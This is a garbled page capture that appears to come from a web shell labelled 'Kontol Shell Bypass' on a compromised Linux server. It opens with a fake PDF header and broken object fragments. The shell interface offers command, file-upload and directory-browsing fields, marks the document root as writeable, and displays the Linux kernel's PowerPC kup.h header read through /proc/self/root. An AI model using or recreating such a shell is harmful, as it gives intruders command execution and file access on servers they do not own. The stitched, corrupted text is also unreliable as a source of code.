%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /proc/self/root/lib/modules/5.4.0-1101-aws/build/arch/powerpc/include/asm/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/lib/modules/5.4.0-1101-aws/build/arch/powerpc/include/asm/kup.h
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef _ASM_POWERPC_KUP_H_
#define _ASM_POWERPC_KUP_H_

#define KUAP_READ	1
#define KUAP_WRITE	2
#define KUAP_READ_WRITE	(KUAP_READ | KUAP_WRITE)

#ifdef CONFIG_PPC_BOOK3S_64
#include <asm/book3s/64/kup-radix.h>
#endif
#ifdef CONFIG_PPC_8xx
#include <asm/nohash/32/kup-8xx.h>
#endif
#ifdef CONFIG_PPC_BOOK3S_32
#include <asm/book3s/32/kup.h>
#endif

#ifdef __ASSEMBLY__
#ifndef CONFIG_PPC_KUAP
.macro kuap_save_and_lock	sp, thread, gpr1, gpr2, gpr3
.endm

.macro kuap_restore	sp, current, gpr1, gpr2, gpr3
.endm

.macro kuap_restore_amr gpr
.endm

.macro kuap_check	current, gpr
.endm

.macro kuap_check_amr	gpr1, gpr2
.endm

#endif

#else /* !__ASSEMBLY__ */

#include <asm/pgtable.h>

void setup_kup(void);

#ifdef CONFIG_PPC_KUEP
void setup_kuep(bool disabled);
#else
static inline void setup_kuep(bool disabled) { }
#endif /* CONFIG_PPC_KUEP */

#ifdef CONFIG_PPC_KUAP
void setup_kuap(bool disabled);
#else
static inline void setup_kuap(bool disabled) { }

static inline bool
bad_kuap_fault(struct pt_regs *regs, unsigned long address, bool is_write)
{
	return false;
}

static inline void kuap_check_amr(void) { }

/*
 * book3s/64/kup-radix.h defines these functions for the !KUAP case to flush
 * the L1D cache after user accesses. Only include the empty stubs for other
 * platforms.
 */
#ifndef CONFIG_PPC_BOOK3S_64
static inline void allow_user_access(void __user *to, const void __user *from,
				     unsigned long size, unsigned long dir) { }
static inline void prevent_user_access(void __user *to, const void __user *from,
				       unsigned long size, unsigned long dir) { }
#endif /* CONFIG_PPC_BOOK3S_64 */
#endif /* CONFIG_PPC_KUAP */

static inline void allow_read_from_user(const void __user *from, unsigned long size)
{
	allow_user_access(NULL, from, size, KUAP_READ);
}

static inline void allow_write_to_user(void __user *to, unsigned long size)
{
	allow_user_access(to, NULL, size, KUAP_WRITE);
}

static inline void allow_read_write_user(void __user *to, const void __user *from,
					 unsigned long size)
{
	allow_user_access(to, from, size, KUAP_READ_WRITE);
}

static inline void prevent_read_from_user(const void __user *from, unsigned long size)
{
	prevent_user_access(NULL, from, size, KUAP_READ);
}

static inline void prevent_write_to_user(void __user *to, unsigned long size)
{
	prevent_user_access(to, NULL, size, KUAP_WRITE);
}

static inline void prevent_read_write_user(void __user *to, const void __user *from,
					   unsigned long size)
{
	prevent_user_access(to, from, size, KUAP_READ_WRITE);
}

#endif /* !__ASSEMBLY__ */

#endif /* _ASM_POWERPC_KUAP_H_ */

Kontol Shell Bypass